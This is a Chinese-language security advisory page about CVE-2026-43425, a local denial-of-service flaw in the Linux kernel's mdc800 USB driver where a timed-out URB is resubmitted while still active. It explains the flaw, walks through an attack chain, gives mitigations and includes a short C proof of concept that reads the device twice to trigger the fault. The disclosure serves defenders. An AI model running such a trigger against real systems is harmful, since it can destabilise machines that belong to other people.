IPBUF安全漏洞报告
English
CVE-2026-43425 CVSS 5.5 中危

CVE-2026-43425 Linux内核mdc800驱动URB超时漏洞

披露日期: 2026-05-08
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43425
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelUSB DriverDoSCVE-2026-43425Race Condition

漏洞概述

Linux内核中的mdc800驱动程序存在安全漏洞。在`mdc800_device_read`函数处理下载URB超时事件时,未能正确终止处于活动状态的URB。当后续的读取操作尝试重新提交该未清理的URB时,会触发内核警告"URB submitted while active",导致系统内核日志报错,并可能引发系统不稳定或拒绝服务。该漏洞需要本地低权限访问权限即可触发。

技术细节

该漏洞源于Linux内核`drivers/usb/image/mdc800.c`文件中的错误处理逻辑。`mdc800_device_read`函数提交`download_urb`后调用`wait_event_timeout`等待。若超时,原代码直接返回,未检查超时状态也未调用`usb_kill_urb`。这导致URB仍处于飞行状态。当用户空间再次调用read时,`usb_submit_urb`检测到URB处于活动状态并触发WARN_ON。攻击者需具备本地低权限账户,通过访问受影响的USB设备文件并触发特定的读取时序来利用此漏洞,主要影响系统的可用性(A:H)。

攻击链分析

STEP 1
获取访问权限
攻击者获取本地系统的低权限用户账户。
STEP 2
打开设备文件
攻击者打开受影响的mdc800 USB设备对应的设备文件(如/dev/usb/mdc800)。
STEP 3
触发超时
攻击者发起读取操作。由于设备故障或特定条件,该操作在驱动层面超时,但URB未被清理。
STEP 4
重复读取操作
攻击者立即再次发起读取操作,驱动尝试重新提交仍处于活动状态的URB。
STEP 5
系统异常
内核检测到冲突并输出警告信息,可能导致系统不稳定或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43425 * This script attempts to trigger the URB resubmission bug. * Requires access to the specific device node /dev/usb/mdc800. */ #include <stdio.h> #include <fcntl.h> #include <unistd.h> #include <errno.h> #define DEVICE_PATH "/dev/usb/mdc800" // Hypothetical path, may vary int main() { int fd; char buffer[4096]; ssize_t bytes_read; printf("[+] Opening device %s...\n", DEVICE_PATH); fd = open(DEVICE_PATH, O_RDWR); if (fd < 0) { perror("[-] Failed to open device"); return 1; } printf("[+] Initiating first read (expecting timeout)...\n"); // Attempt to read. If the device is unresponsive or simulated to hang, // the driver timeout will trigger, leaving the URB active. bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { perror("[!] First read failed (timeout expected)"); } printf("[+] Initiating second read to trigger active URB resubmission...\n"); // This read tries to submit the same URB which is still active. bytes_read = read(fd, buffer, sizeof(buffer)); if (bytes_read < 0) { perror("[!] Second read failed"); } printf("[+] Check dmesg for 'URB submitted while active' warning.\n"); close(fd); return 0; }

影响范围

Linux Kernel (Stable branches before specific commits)

防御指南

临时缓解措施
如果无法立即升级内核,可以通过禁用mdc800驱动模块(使用rmmod mdc800)来缓解风险。此外,严格限制设备文件权限(如chmod 600 /dev/usb/mdc800)可防止低权限用户触发该漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表